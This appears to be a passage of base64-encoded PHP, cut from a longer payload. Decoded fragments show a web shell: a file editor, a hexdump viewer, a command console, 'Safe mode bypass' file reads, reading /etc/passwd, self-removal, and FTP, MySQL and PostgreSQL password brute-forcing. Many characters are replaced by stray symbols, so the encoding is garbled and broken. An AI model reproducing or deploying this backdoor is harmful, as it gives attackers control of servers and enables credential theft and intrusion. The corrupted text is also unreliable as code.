Jp&GUoJGZwLCR_UE9TVFsn<DMnXSk7DQoJCQkJCUBmY2xv<2UoJGZwKTsNCgkJCQkJZWNo[yAnU2F2ZWQhPGJyPjxzY3Jp<HQ+<DN_PSIiOzwv<2Ny]XB0Pi<7DQoJCQkJCUB0[3Vj]CgkX1BPU1R[J3AxJ10sJHRp[WUsJHRp[WUpOw0KCQkJCX0NCgkJCX0NCgkJCWVj]G8gJzxm[3JtIG9u<3Vi[Wl0PSJnKG51[Gws[nVs[Cxu&WxsLG51[GwsXC<xXC<r&Ghp<y50ZXh0LnZh[HVlKTtyZXR1<m4gZmFs<2U7Ij48&GV4&GFyZWEg[mFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsNCgkJCSRm<CA9IEBm[3Bl[igkX1BPU1R[J3AxJ10sIC&yJyk7DQoJCQlpZigkZnApIHsNCgkJCQl3]GlsZSggIUBmZW9mKCRm<CkgKQ0KCQkJCQllY2hvIGh0[Wxz<GVj]WFsY2hh<nMoQGZyZWFkKCRm<CwgMTAyNCkpOw0KCQkJCUBmY2xv<2UoJGZwKTsNCgkJCX0NCgkJCWVj]G8gJzwv&GV4&GFyZWE+PGlu<HV0IHR5<GU9<3Vi[Wl0IHZh[HVlPSI+PiI+PC9m[3JtPi<7DQoJCQli<mVh]zsNCgkJY2FzZSAn]GV4ZHVt<C<6DQoJCQkkYyA9IEBm]WxlX2&l&F9j[250ZW50<ygkX1BPU1R[J3AxJ10pOw0KCQkJJG4gPSAwOw0KCQkJJGggPSBh<nJh*SgnMDAwMDAwMDA8YnI+JywnJywnJyk7DQoJCQkk[GVuID0g<3Ry[GVuKCRjKTsNCgkJCWZv<iAoJGk9MDsgJGk8JGxl[jsgKysk]Skg*w0KCQkJCSRoWzF&IC49IHNw<mlu&GYoJyUwMlgnLG9yZCgkY1sk]V0pKS4nIC<7DQoJCQkJ<3&p&GNoICgg[3JkKCRjWyRpXSkgKSB7DQoJCQkJCWNh<2UgMDogICRoWzJ&IC49IC<gJzsgYnJlYWs7DQoJCQkJCWNh<2UgOTogICRoWzJ&IC49IC<gJzsgYnJlYWs7DQoJCQkJCWNh<2UgMTA6ICRoWzJ&IC49IC<gJzsgYnJlYWs7DQoJCQkJCWNh<2UgMTM6ICRoWzJ&IC49IC<gJzsgYnJlYWs7DQoJCQkJCWRlZmF1[HQ6ICRoWzJ&IC49ICRjWyRpXTsgYnJlYWs7DQoJCQkJ_Q0KCQkJCSRuKys7DQoJCQkJ]WYgKCRuID09IDMyKSB7DQoJCQkJCSRuID0gMDsNCgkJCQkJ]WYgKCRpKzEgPCAk[GVuKSB7JGh[MF0gLj0g<3By]W50ZignJTA4WC<sJGkrMSkuJzxi<j4nO30NCgkJCQkJJGh[MV0gLj0gJzxi<j4nOw0KCQkJCQkk]FsyXSAuPSAiXG4iOw0KCQkJCX0NCgkJIAl9DQoJCQllY2hvIC<8&GFi[GUgY2Vs[HNwYWNp[m<9MSBjZWxs<GFkZGluZz01IGJnY29s[3I9IzIyMjIyMj48&HI+PHRkIGJnY29s[3I9IzMzMzMzMz48<3Bh[iBz&HlsZT0iZm9u&C13ZWln]HQ6IG5v<m1h[DsiPjxw<mU+Jy4k]FswXS4nPC9w<mU+PC9z<GFuPjwv&GQ+PHRkIGJnY29s[3I9IzI4MjgyOD48<HJlPi<uJGh[MV0uJzwv<HJlPjwv&GQ+PHRkIGJnY29s[3I9IzMzMzMzMz48<HJlPi<u]HRt[HNwZWNpYWxj]GFy<ygk]FsyXSkuJzwv<HJlPjwv&GQ+PC90<j48L3RhYmxlPi<7DQoJCQli<mVh]zsNCgkJY2FzZSAn<mVuYW1lJzoNCgkJCWlmKCAhZW1w&HkoJF9QT1NUWy&wMy&&KSApIHsNCgkJCQlpZighQHJl[mFtZSgkX1BPU1R[J3AxJ10sICR_UE9TVFsn<DMnXSkpDQoJCQkJCWVj]G8gJ0Nh[lwn&CByZW5h[WUhPGJyPi<7DQoJCQkJZWxzZQ0KCQkJCQlk]WUoJzxzY3Jp<HQ+Zyhu&WxsLG51[GwsIi<u&XJsZW5j[2RlKCR_UE9TVFsn<DMnXSkuJyIs[nVs[CwiIik8L3Nj<mlw&D4nKTsNCgkJCX0NCgkJCWVj]G8gJzxm[3JtIG9u<3Vi[Wl0PSJnKG51[Gws[nVs[Cxu&WxsLG51[Gws&Ghp<y5uYW1lLnZh[HVlKTtyZXR1<m4gZmFs<2U7Ij48]W5w&XQg&HlwZT10ZXh0IG5h[WU9[mFtZSB2YWx1ZT0iJy5o&G1s<3BlY2lh[GNoYXJzKCR_UE9TVFsn<DEnXSkuJyI+PGlu<HV0IHR5<GU9<3Vi[Wl0IHZh[HVlPSI+PiI+PC9m[3JtPi<7DQoJCQli<mVh]zsNCgkJY2FzZSAn&G91Y2gnOg0KCQkJ]WYoICFl[XB0*SgkX1BPU1R[J3AzJ10pICkg*w0KCQkJCSR0]W1lID0g<3Ry&G90]W1lKCR_UE9TVFsn<DMnXSk7DQoJCQkJ]WYoJHRp[WUpIHsNCgkJCQkJ]WYoIXRv&WNoKCR_UE9TVFsn<DEnXSwk&GltZSwk&GltZSkpDQoJCQkJCQllY2hvIC&GYWlsIS<7DQoJCQkJCWVs<2UNCgkJCQkJCWVj]G8gJ1Rv&WNoZWQhJzsNCgkJCQl9IGVs<2UgZWNo[yAnQmFkIHRp[WUgZm9y[WF0IS<7DQoJCQl9DQoJCQlj[GVh<nN0YXRjYWNoZSgpOw0KCQkJZWNo[yAnPHNj<mlw&D5wM189IiI7PC9zY3Jp<HQ+PGZv<m0g[25z&WJt]XQ9Im<o[nVs[Cxu&WxsLG51[Gws[nVs[Cx0]GlzLnRv&WNoLnZh[HVlKTtyZXR1<m4gZmFs<2U7Ij48]W5w&XQg&HlwZT10ZXh0IG5h[WU9&G91Y2gg&mFs&WU9Ii<uZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10]W1lKCR_UE9TVFsn<DEnXSkpLi<iPjxp[nB1&CB0*XBlPXN1Ym1p&CB2YWx1ZT0iPj4iPjwvZm9y[T4nOw0KCQkJYnJlYWs7DQoJ_Q0KCWVj]G8gJzwvZGl2Pi<7DQoJ&3NvRm9v&GVyKCk7DQp9DQoNCmZ1[mN0]W9uIGFj&Glv[lNhZmVN[2RlKCkg*w0KCSR0ZW1wPS<nOw0KCW9iX3N0YXJ0KCk7DQoJ<3&p&GNoKCR_UE9TVFsn<DEnXSkg*w0KCQljYXNlIDE6DQoJCQkk&GVt<D1A&GVt<G5h[Sgk&GVz&CwgJ2N4Jyk7DQoJCQlpZihAY29w*SgiY29t<HJl<3Mu*mxpYjovLyIuJF9QT1NUWy&wMi&&LCAk&GVt<Ckp*w0KCQkJCWVj]G8gQGZp[GV_Z2V0X2Nv[nRl[nRzKCR0ZW1wKTsNCgkJCQl1[mxp[msoJHRl[XApOw0KCQkJ_SBl[HNlDQoJCQkJZWNo[yAnU29y<nkuLi4gQ2FuXC&0IG9wZW4gZmlsZS<7DQoJCQli<mVh]zsNCgkJY2FzZSAyOg0KCQkJJGZp[GVzID0gZ2xvYigkX1BPU1R[J3AyJ10uJyonKTsNCgkJCWlmKCBp<19h<nJh*SgkZmlsZXMpICkNCgkJCQlm[3JlYWNoICgkZmlsZXMgYXMgJGZp[GVuYW1lKQ0KCQkJCQllY2hvICRm]Wxl[mFtZS4iXG4iOw0KCQkJYnJlYWs7DQoJCWNh<2UgMzoNCgkJCSRj]CA9IGN1<mx_]W5p&CgiZmlsZTovLyIuJF9QT1NUWy&wMi&&LiJ<*DAwIi5w<mVnX3Jl<GxhY2UoJyF<KFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKTsNCgkJCWN1<mx_ZXhlYygkY2gpOw0KCQkJYnJlYWs7DQoJCWNh<2UgNDoNCgkJCWlu]V9yZXN0[3JlKCJzYWZlX21vZGUiKTsNCgkJCWlu]V9yZXN0[3JlKCJv<GVuX2Jh<2Vk]XIiKTsNCgkJCWluY2x1ZGUoJF9QT1NUWy&wMi&&KTsNCgkJCWJyZWFrOw0KCQljYXNlIDU6DQoJCQlm[3IoOyR_UE9TVFsn<DInXSA8PSAkX1BPU1R[J3AzJ107JF9QT1NUWy&wMi&&KyspIHsNCgkJCQkk&WlkID0gQHBv<2l4X2&l&HB3&WlkKCR_UE9TVFsn<DInXSk7DQoJCQkJ]WYgKCR1]WQpDQoJCQkJCWVj]G8g]m9p[ignOi<sJHVpZCkuIlxuIjsNCgkJCX0NCgkJCWJyZWFrOw0KCX0NCgkk&GVt<CA9IG9iX2&l&F9j[GVh[igpOw0KCX&z[0hlYWRl<igpOw0KCWVj]G8gJzxoMT5TYWZlIG1vZGUgYnlwYXNzPC9oMT48ZGl2IGNsYXNzPWNv[nRl[nQ+JzsNCgllY2hvIC<8<3Bh[j5D[3B5IChyZWFkIGZp[GUpPC9z<GFuPjxm[3JtIG9u<3Vi[Wl0PVwnZyhu&WxsLG51[GwsIjEiLHRo]XMu<GFyYW0u&mFs&WUpO3Jl&HVy[iBmYWxzZTt<Jz48]W5w&XQg&HlwZT10ZXh0IG5h[WU9<GFyYW0+PGlu<HV0IHR5<GU9<3Vi[Wl0IHZh[HVlPSI+PiI+PC9m[3JtPjxi<j48<3Bh[j5H[G9iIChs]XN0IGRp<ik8L3NwYW4+PGZv<m0g[25z&WJt]XQ9XC&nKG51[Gws[nVs[CwiMiIs&Ghp<y5wYXJh[S52YWx1ZSk7<mV0&XJuIGZh[HNlO1wnPjxp[nB1&CB0*XBlPXRl*HQg[mFtZT1wYXJh[T48]W5w&XQg&HlwZT1z&WJt]XQg&mFs&WU9Ij4+Ij48L2Zv<m0+PGJyPjxz<GFuPkN1<mwgKHJlYWQgZmlsZSk8L3NwYW4+PGZv<m0g[25z&WJt]XQ9XC&nKG51[Gws[nVs[CwiMyIs&Ghp<y5wYXJh[S52YWx1ZSk7<mV0&XJuIGZh[HNlO1wnPjxp[nB1&CB0*XBlPXRl*HQg[mFtZT1wYXJh[T48]W5w&XQg&HlwZT1z&WJt]XQg&mFs&WU9Ij4+Ij48L2Zv<m0+PGJyPjxz<GFuPklu]V9yZXN0[3JlIChyZWFkIGZp[GUpPC9z<GFuPjxm[3JtIG9u<3Vi[Wl0PVwnZyhu&WxsLG51[GwsIjQiLHRo]XMu<GFyYW0u&mFs&WUpO3Jl&HVy[iBmYWxzZTt<Jz48]W5w&XQg&HlwZT10ZXh0IG5h[WU9<GFyYW0+PGlu<HV0IHR5<GU9<3Vi[Wl0IHZh[HVlPSI+PiI+PC9m[3JtPjxi<j48<3Bh[j5Q[3Np*F9nZXRw&3VpZCAoIlJlYWQiIC9l&GMv<GFz<3&kKTwv<3Bh[j48&GFi[GU+PGZv<m0g[25z&WJt]XQ9XC&nKG51[Gws[nVs[CwiNSIs&Ghp<y5wYXJh[TEu&mFs&WUs&Ghp<y5wYXJh[TIu&mFs&WUpO3Jl&HVy[iBmYWxzZTt<Jz48&HI+PHRkPkZy[208L3RkPjx0ZD48]W5w&XQg&HlwZT10ZXh0IG5h[WU9<GFyYW0xIHZh[HVlPTA+PC90ZD48L3RyPjx0<j48&GQ+VG88L3RkPjx0ZD48]W5w&XQg&HlwZT10ZXh0IG5h[WU9<GFyYW0yIHZh[HVlPTEwMDA+PC90ZD48L3RyPjwv&GFi[GU+PGlu<HV0IHR5<GU9<3Vi[Wl0IHZh[HVlPSI+PiI+PC9m[3JtPi<7DQoJ]WYoJHRl[XApDQoJCWVj]G8gJzxw<mUgY2xh<3M9Im1sMSIg<3R5[GU9Im1h<m&p[i10[3A6NXB4IiBpZD0iT3V0<HV0Ij4nLmh0[Wxz<GVj]WFsY2hh<nMoJHRl[XApLi<8L3ByZT4nOw0KCWVj]G8gJzwvZGl2Pi<7DQoJ&3NvRm9v&GVyKCk7DQp9DQoNCmZ1[mN0]W9uIGFj&Glv[kNv[nNv[GUoKSB7DQogICAg]WYoIWVt<HR5KCR_UE9TVFsn<DEnXSkgJiYgIWVt<HR5KCR_UE9TVFsn<DInXSkpIHsNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLi&z&GRl<nJ_&G9_[3V0J10gPSB0<nVlOw0KICAgICAgICAkX1BPU1R[J3AxJ10gLj0gJyAyPiYxJzsNCiAgICB9IGVs<2VpZighZW1w&HkoJF9QT1NUWy&wMS&&KSkNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLi&z&GRl<nJ_&G9_[3V0J10gPSBmYWxzZTsNCg0KCWlmKGlz<2V0KCR_UE9TVFsnYWph*C&&KSkg*w0KCQkkX1NFU1NJT05[[WQ1KCR_U0VSVkVSWy&IVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRy&WU7DQoJCW9iX3N0YXJ0KCk7DQoJCWVj]G8gImQuY2YuY21kLnZh[HVlPS<nO1xuIjsNCgkJJHRl[XAgPSBA]WNv[nYoJF9QT1NUWy&j]GFy<2V0J10sIC&VVEYtOC<sIGFkZGNz[GFz]GVzKCJ<[iQgIi4kX1BPU1R[J3AxJ10uIlxuIi53<29F*CgkX1BPU1R[J3AxJ10pLCJ<[lxyXHR<XC&<MCIpKTsNCgkJ]WYo<HJlZ19tYXRj]CgiIS4qY2R<<ysoW147XSspJCEiLCR_UE9TVFsn<DEnXSwk[WF0Y2gpKQl7DQoJCQlpZihAY2hk]XIoJG1h&GNoWzF&KSkg*w0KCQkJCSRHTE9CQUxTWy&j&2QnXSA9IEBnZXRj&2QoKTsNCgkJCQllY2hvICJjXz0nIi4kR0xPQkFMU1snY3&kJ10uIi<7IjsNCgkJCX0NCgkJ_Q0KCQllY2hvICJkLmNmLm91&HB1&C52YWx1ZSs9JyIuJHRl[XAuIi<7IjsNCgkJZWNo[yAiZC5jZi5v&XRw&XQu<2Ny[2xsVG9wID0gZC5jZi5v&XRw&XQu<2Ny[2xsSGVpZ2h0OyI7DQoJCSR0ZW1wID0g[2J_Z2V0X2NsZWFuKCk7DQoJCWVj]G8g<3Ry[GVuKCR0ZW1wKSwgIlxuIiwgJHRl[XA7DQoJCWV4]XQ7DQoJ_Q0KCX&z[0hlYWRl<igpOw0KICAgIGVj]G8gIjxzY3Jp<HQ+DQppZih3]W5k[3<uRXZl[nQpIH&p[mRv&y5jYXB0&XJlRXZl[nRzKEV2ZW50LktFWURPV04pOw0K&mFyIGNtZHMgPSBuZX<gQXJyYXkoJy<pOw0K&mFyIGN1<iA9IDA7DQpm&W5j&Glv[iBr<ChlKSB7DQoJ&mFyIG4gPSAo&2luZG93LkV2ZW50KSA/IGUu&2hpY2ggOiBlLmtl*UNvZGU7DQoJ]WYo[iA9PSAzOCkg*w0KCQlj&XItLTsNCgkJ]WYoY3VyPj0wKQ0KCQkJZG9j&W1l[nQuY2YuY21kLnZh[HVlID0gY21k<1tj&XJ&Ow0KCQll[HNlDQoJCQlj&XIrKzsNCgl9IGVs<2Ug]WYo[iA9PSA0MCkg*w0KCQlj&XIrKzsNCgkJ]WYoY3VyIDwgY21k<y5sZW5n&GgpDQoJCQlk[2N1[WVu&C5jZi5j[WQu&mFs&WUgPSBj[WRzW2N1<l07DQoJCWVs<2UNCgkJCWN1<i0tOw0KCX0NCn0NCmZ1[mN0]W9uIGFkZChj[WQpIHsNCglj[WRzLnBv<CgpOw0KCWNtZHMu<HVz]Chj[WQpOw0KCWNtZHMu<HVz]CgnJyk7DQoJY3VyID0gY21k<y5sZW5n&GgtMTsNCn0NCjwv<2Ny]XB0PiI7DQoJZWNo[yAnPGgxPkNv[nNv[GU8L2gxPjxk]XYgY2xh<3M9Y29u&GVu&D48Zm9y[SBuYW1lPWNmIG9u<3Vi[Wl0PSJpZihkLmNmLmNtZC52YWx1ZT09XC&j[GVh<lwnKXtkLmNmLm91&HB1&C52YWx1ZT1<J1wnO2QuY2YuY21kLnZh[HVlPVwnXC<7<mV0&XJuIGZh[HNlO31hZGQo&Ghp<y5j[WQu&mFs&WUpO2lmKHRo]XMuYWph*C5j]GVj]2VkKXthKG51[Gws[nVs[Cx0]GlzLmNtZC52YWx1ZSx0]GlzLnNo[3&_ZXJy[3JzLmNoZWNrZWQ/MTp<J1wnKTt9ZWxzZXtnKG51[Gws[nVs[Cx0]GlzLmNtZC52YWx1ZSx0]GlzLnNo[3&_ZXJy[3JzLmNoZWNrZWQ/MTp<J1wnKTt9IHJl&HVy[iBmYWxzZTsiPjxzZWxlY3Qg[mFtZT1h[Glh<z4nOw0KCWZv<mVhY2goJE&MT0JBTFN[J2Fs]WFzZXMnXSBh<yAk[iA9PiAk&ikg*w0KCQlpZigk&iA9PSAnJykg*w0KCQkJZWNo[yAnPG9w&G&y[3VwIGxhYmVsPSItJy5o&G1s<3BlY2lh[GNoYXJzKCRuKS4nLSI+PC9v<HRn<m91<D4nOw0KCQkJY29u&Glu&WU7DQoJCX0NCgkJZWNo[yAnPG9w&Glv[iB2YWx1ZT0iJy5o&G1s<3BlY2lh[GNoYXJzKCR2KS4nIj4nLiRuLi<8L29w&Glv[j4nOw0KCX0NCglpZihl[XB0*SgkX1BPU1R[J2FqYXgnXSkmJiFl[XB0*SgkX1BPU1R[J3AxJ10pKQ0KCQkkX1NFU1NJT05[[WQ1KCR_U0VSVkVSWy&IVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZh[HNlOw0KCWVj]G8gJzwv<2VsZWN0Pjxp[nB1&CB0*XBlPWJ1&HRv[iBv[mNs]WNrPSJhZGQoZC5jZi5h[Glh<y52YWx1ZSk7]WYoZC5jZi5h]mF4LmNoZWNrZWQp*2Eo[nVs[Cxu&WxsLGQuY2YuYWxpYXMu&mFs&WUsZC5jZi5z]G93X2Vy<m9y<y5j]GVj]2VkPzE6XC&<Jyk7_WVs<2V7Zyhu&WxsLG51[GwsZC5jZi5h[Glh<y52YWx1ZSxkLmNmLnNo[3&_ZXJy[3JzLmNoZWNrZWQ/MTp<J1wnKTt9IiB2YWx1ZT0iPj4iPiA8[m9i<j48]W5w&XQg&HlwZT1j]GVj]2Jv*CBuYW1lPWFqYXgg&mFs&WU9MSAnLihAJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLi&h]mF4J10/J2NoZWNrZWQnOi<nKS4nPiBzZW5kIHVz]W5nIEFKQVggPGlu<HV0IHR5<GU9Y2hlY2ti[3gg[mFtZT1z]G93X2Vy<m9y<yB2YWx1ZT0xIC<uKCFl[XB0*SgkX1BPU1R[J3AyJ10p_HwkX1NFU1NJT05[[WQ1KCR_U0VSVkVSWy&IVFRQX0hPU1QnXSkuJ3N0ZGVy<l90[19v&XQnXT8nY2hlY2tlZC<6Jy<pLi<+IHJlZGlyZWN0IHN0ZGVy<iB0[yBz&GRv&XQgKDI+JjEpPC9u[2JyPjxi<i8+PHRl*HRh<mVhIGNsYXNzPWJpZ2FyZWEg[mFtZT1v&XRw&XQg<3R5[GU9ImJv<mRl<i1i[3R0[206MDttYXJn]W46MDsiIHJlYWRv[mx5Pi<7DQoJ]WYoIWVt<HR5KCR_UE9TVFsn<DEnXSkpIHsNCgkJZWNo[yBo&G1s<3BlY2lh[GNoYXJzKCIkICIuJF9QT1NUWy&wMS&&LiJ<[iIu&3NvRXgoJF9QT1NUWy&wMS&&KSk7DQoJ_Q0KCWVj]G8gJzwv&GV4&GFyZWE+PHRhYmxlIHN0*WxlPSJi[3JkZXI6MXB4IHNv[GlkICNkZjU7YmFj]2&y[3VuZC1j[2xv<jojNTU1O2Jv<mRl<i10[3A6MHB4OyIgY2Vs[HBhZGRp[m<9MCBjZWxs<3BhY2luZz0wIH&pZHRoPSIxMDAlIj48&HI+PHRkIH&pZHRoPSIxJSI+JDwv&GQ+PHRkPjxp[nB1&CB0*XBlPXRl*HQg[mFtZT1j[WQg<3R5[GU9ImJv<mRl<jow<Hg7&2lk&Gg6MTAwJTsiIG9u]2V5ZG93[j0i]3AoZXZl[nQpOyI+PC90ZD48L3RyPjwv&GFi[GU+JzsNCgllY2hvIC<8L2Zv<m0+PC9k]XY+PHNj<mlw&D5kLmNmLmNtZC5m[2N1<ygpOzwv<2Ny]XB0Pi<7DQoJ&3NvRm9v&GVyKCk7DQp9DQoNCmZ1[mN0]W9uIGFj&Glv[kxvZ291&CgpIHsNCiAgICBzZXNz]W9uX2Rl<3Ry[3koKTsNCglk]WUoJ2J5ZSEnKTsNCn0NCg0KZnVuY3Rp[24gYWN0]W9uU2VsZlJl[W92ZSgpIHsNCgkNCglpZigkX1BPU1R[J3AxJ10gPT0gJ3ll<y<pDQoJCWlmKEB1[mxp[mso<HJlZ19yZXBsYWNlKC<hXCh<ZCt<KVxzLiohJywgJy<sIF9_RklMRV9_KSkpDQoJCQlk]WUoJ1NoZWxsIGhh<yBiZWVuIHJl[W92ZWQnKTsNCgkJZWxzZQ0KCQkJZWNo[yAn&W5s]W5rIGVy<m9yIS<7DQogICAg]WYoJF9QT1NUWy&wMS&&ICE9IC&5ZXMnKQ0KICAgICAgICB3<29IZWFkZXIoKTsNCgllY2hvIC<8]DE+U3VpY2lkZTwv]DE+PGRp&iBj[GFz<z1j[250ZW50PlJlYWxs*SB3YW50IHRvIHJl[W92ZSB0]GUg<2hl[Gw/PGJyPjxhIGhyZWY9IyBv[mNs]WNrPSJnKG51[Gws[nVs[Cx<J3ll<1wnKSI+WWVzPC9hPjwvZGl2Pi<7DQoJ&3NvRm9v&GVyKCk7DQp9DQoNCmZ1[mN0]W9uIGFj&Glv[kJy&XRlZm9yY2UoKSB7DQoJ&3NvSGVhZGVyKCk7DQoJ]WYoIGlz<2V0KCR_UE9TVFsn<HJv&G8nXSkgKSB7DQoJCWVj]G8gJzxoMT5SZXN1[HRzPC9oMT48ZGl2IGNsYXNzPWNv[nRl[nQ+PHNwYW4+VHlwZTo8L3NwYW4+IC<u]HRt[HNwZWNpYWxj]GFy<ygkX1BPU1R[J3By[3RvJ10pLi<gPHNwYW4+U2Vy&mVyOjwv<3Bh[j4gJy5o&G1s<3BlY2lh[GNoYXJzKCR_UE9TVFsn<2Vy&mVyJ10pLi<8YnI+JzsNCgkJ]WYoICR_UE9TVFsn<HJv&G8nXSA9PSAnZnRwJyApIHsNCgkJCWZ1[mN0]W9uIGJy&XRlRm9yY2UoJGlwLCRw[3J0LCRs[2&p[iwk<GFz<ykg*w0KCQkJCSRm<CA9IEBm&HB_Y29u[mVj&Cgk]XAsICRw[3J0PyRw[3J0OjIxKTsNCgkJCQlpZighJGZwKSByZXR1<m4gZmFs<2U7DQoJCQkJJHJl<yA9IEBm&HB_[G9n]W4oJGZwLCAk[G9n]W4sICRwYXNzKTsNCgkJCQlAZnRwX2Ns[3NlKCRm<Ck7DQoJCQkJ<mV0&XJuICRyZXM7DQoJCQl9DQoJCX0gZWxzZWlmKCAkX1BPU1R[J3By[3RvJ10gPT0gJ215<3FsJyApIHsNCgkJCWZ1[mN0]W9uIGJy&XRlRm9yY2UoJGlwLCRw[3J0LCRs[2&p[iwk<GFz<ykg*w0KCQkJCSRyZXMgPSBA[Xlz<Wx_Y29u[mVj&Cgk]XAuJzonLiRw[3J0PyRw[3J0OjMzMDYsICRs[2&p[iwgJHBh<3MpOw0KCQkJCUBt*XNx[F9j[G9zZSgk<mVzKTsNCgkJCQlyZXR1<m4gJHJl<zsNCgkJCX0NCgkJ_SBl[HNl]WYoICR_UE9TVFsn<HJv&G8nXSA9PSAn<G&z<WwnICkg*w0KCQkJZnVuY3Rp[24gYnJ1&GVG[3JjZSgk]XAsJHBv<nQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJHN0<iA9ICJo[3N0PS<iLiRp<C4iJyBw[3J0PS<iLiRw[3J0LiInIHVzZXI9JyIuJGxvZ2luLiInIHBh<3N3[3JkPS<iLiRwYXNzLiInIGRi[mFtZT1w[3N0Z3Jl<yI7DQoJCQkJJHJl<yA9IEBwZ19j[25uZWN0KCRz&HIpOw0KCQkJCUBwZ19j[G9zZSgk<mVzKTsNCgkJCQlyZXR1<m4gJHJl<zsNCgkJCX0NCgkJ_Q0KCQkk<3VjY2Vz<yA9IDA7DQoJCSRh&HRl[XB0<yA9IDA7DQoJCSRzZXJ2ZXIgPSBl*HBs[2RlKCI6IiwgJF9QT1NUWy&zZXJ2ZXInXSk7DQoJCWlmKCR_UE9TVFsn&HlwZS&&ID09IDEpIHsNCgkJCSR0ZW1wID0gQGZp[GUoJy9l&GMv<GFz<3&kJyk7DQoJCQlpZigg]XN_YXJyYXkoJHRl[XApICkNCgkJCQlm[3JlYWNoKCR0ZW1wIGFzICRs]W5lKSB7DQoJCQkJCSRs]W5lID0gZXhw[G9kZSgiOiIsICRs]W5lKTsNCgkJCQkJKyskYXR0ZW1w&HM7DQoJCQkJCWlmKCBi<nV0ZUZv<mNlKEAk<2Vy&mVyWzB&LEAk<2Vy&mVyWzF&LCAk[GluZVswXSwgJGxp[mV[MF0pICkg*w0KCQkJCQkJJHN1Y2Nl<3MrKzsNCgkJCQkJCWVj]G8gJzxiPi<u]HRt[HNwZWNpYWxj]GFy<ygk[GluZVswXSkuJzwvYj46Jy5o&G1s<3BlY2lh[GNoYXJzKCRs]W5lWzB&KS4nPGJyPi<7DQoJCQkJCX0NCgkJCQkJ]WYoQCR_UE9TVFsn<mV2ZXJzZS&&KSB7DQoJCQkJCQkk&G1wID0gIiI7DQoJCQkJCQlm[3IoJGk9<3Ry[GVuKCRs]W5lWzB&KS0xOyAk]T49MDsgLS0k]SkNCgkJCQkJCQkk&G1wIC49ICRs]W5lWzB&WyRpXTsNCgkJCQkJCSsrJGF0&GVt<HRzOw0KCQkJCQkJ]WYoIGJy&XRlRm9yY2UoQCRzZXJ2ZXJ[MF0sQCRzZXJ2ZXJ[MV0sICRs]W5lWzB&LCAk&G1wKSApIHsNCgkJCQkJCQkk<3VjY2Vz<ysrOw0KCQkJCQkJCWVj]G8gJzxiPi<u]HRt[HNwZWNpYWxj]GFy<ygk[GluZVswXSkuJzwvYj46Jy5o&G1s<3BlY2lh[GNoYXJzKCR0[XApOw0KCQkJCQkJ_Q0KCQkJCQl9DQoJCQkJ_Q0KCQl9IGVs<2VpZigkX1BPU1R[J3R5<GUnXSA9PSAyKSB7DQoJCQkk&GVt<CA9IEBm]WxlKCR_UE9TVFsnZGlj&C&&KTsNCgkJCWlmKCBp<19h<nJh*Sgk&GVt<CkgKQ0KCQkJCWZv<mVhY2goJHRl[XAgYXMgJGxp[mUpIHsNCgkJCQkJJGxp[mUgPSB0<mltKCRs]W5lKTsNCgkJCQkJKyskYXR0ZW1w&HM7DQoJCQkJCWlmKCBi<nV0ZUZv<mNlKCRzZXJ2ZXJ[MF0sQCRzZXJ2ZXJ[MV0sICR_UE9TVFsn[G9n]W4nXSwgJGxp[mUpICkg*w0KCQkJCQkJJHN1Y2Nl<3MrKzsNCgkJCQkJCWVj]G8gJzxiPi<u]HRt[HNwZWNpYWxj]GFy<ygkX1BPU1R[J2xvZ2luJ10pLi<8L2I+Oi<u]HRt[HNwZWNpYWxj]GFy<ygk[GluZSkuJzxi<j4nOw0KCQkJCQl9DQoJCQkJ_Q0KCQl9DQoJCWVj]G8gIjxz<GFuPkF0&GVt<HRzOjwv<3Bh[j4gJGF0&GVt<HRzIDxz<GFuPlN1Y2Nl<3M6PC9z<GFuPiAk<3VjY2Vz<zwvZGl2Pjxi<j4iOw0KCX0NCgllY2hvIC<8]DE+RlRQIGJy&XRlZm9yY2U8L2gxPjxk]XYgY2xh<3M9Y29u&GVu&D48&GFi[GU+PGZv<m0g[WV0]G9kPXBv<3Q+PHRyPjx0ZD48<3Bh[j5U*XBlPC9z<GFuPjwv&GQ+Jw0KCQkuJzx0ZD48<2VsZWN0IG5h[WU9<HJv&G8+PG9w&Glv[iB2YWx1ZT1m&HA+RlRQPC9v<HRp[24+PG9w&Glv[iB2YWx1ZT1t*XNx[D5N*VNx[Dwv[3B0]W9uPjxv<HRp[24g&mFs&WU9<G&z<Ww+UG9z&G&yZVNx[Dwv[3B0]W9uPjwv<2VsZWN0Pjwv&GQ+PC90<j48&HI+PHRkPi<NCgkJLi<8]W5w&XQg&HlwZT1o]WRkZW4g[mFtZT1jIHZh[HVlPSInLmh0[Wxz<GVj]WFsY2hh<nMoJE&MT0JBTFN[J2N3ZC&&KS4nIj4nDQoJCS4nPGlu<HV0IHR5<GU9]GlkZGVuIG5h[WU9YSB2YWx1ZT0iJy5o&G1s<3BlY2lh[GNoYXJzKCR_UE9TVFsnYS&&KS4nIj4nDQoJCS4nPGlu<HV0IHR5<GU9]GlkZGVuIG5h[WU9Y2hh<nNl&CB2YWx1ZT0iJy5o&G1s<3BlY2lh[GNoYXJzKCR_UE9TVFsnY2hh<nNl&C&&KS4nIj4nDQoJCS4nPHNwYW4+U2Vy&mVyOnBv<nQ8L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxp[nB1&CB0*XBlPXRl*HQg[mFtZT1zZXJ2ZXIg&mFs&WU9IjEyNy4wLjAuMSI+PC90ZD48L3RyPi<NCgkJLi<8&HI+PHRkPjxz<GFuPkJy&XRlIHR5<GU8L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxsYWJl[D48]W5w&XQg&HlwZT1yYWRp[yBuYW1lPXR5<GUg&mFs&WU9IjEiIGNoZWNrZWQ+IC9l&GMv<GFz<3&kPC9sYWJl[D48L3RkPjwv&HI+Jw0KCQkuJzx0<j48&GQ+PC90ZD48&GQ+PGxhYmVsIHN0*WxlPSJwYWRk]W5nLWxlZnQ6MTVw*CI+PGlu<HV0IHR5<GU9Y2hlY2ti[3gg[mFtZT1yZXZl<nNlIHZh[HVlPTEgY2hlY2tlZD4g<mV2ZXJzZSAo[G9n]W4gLT4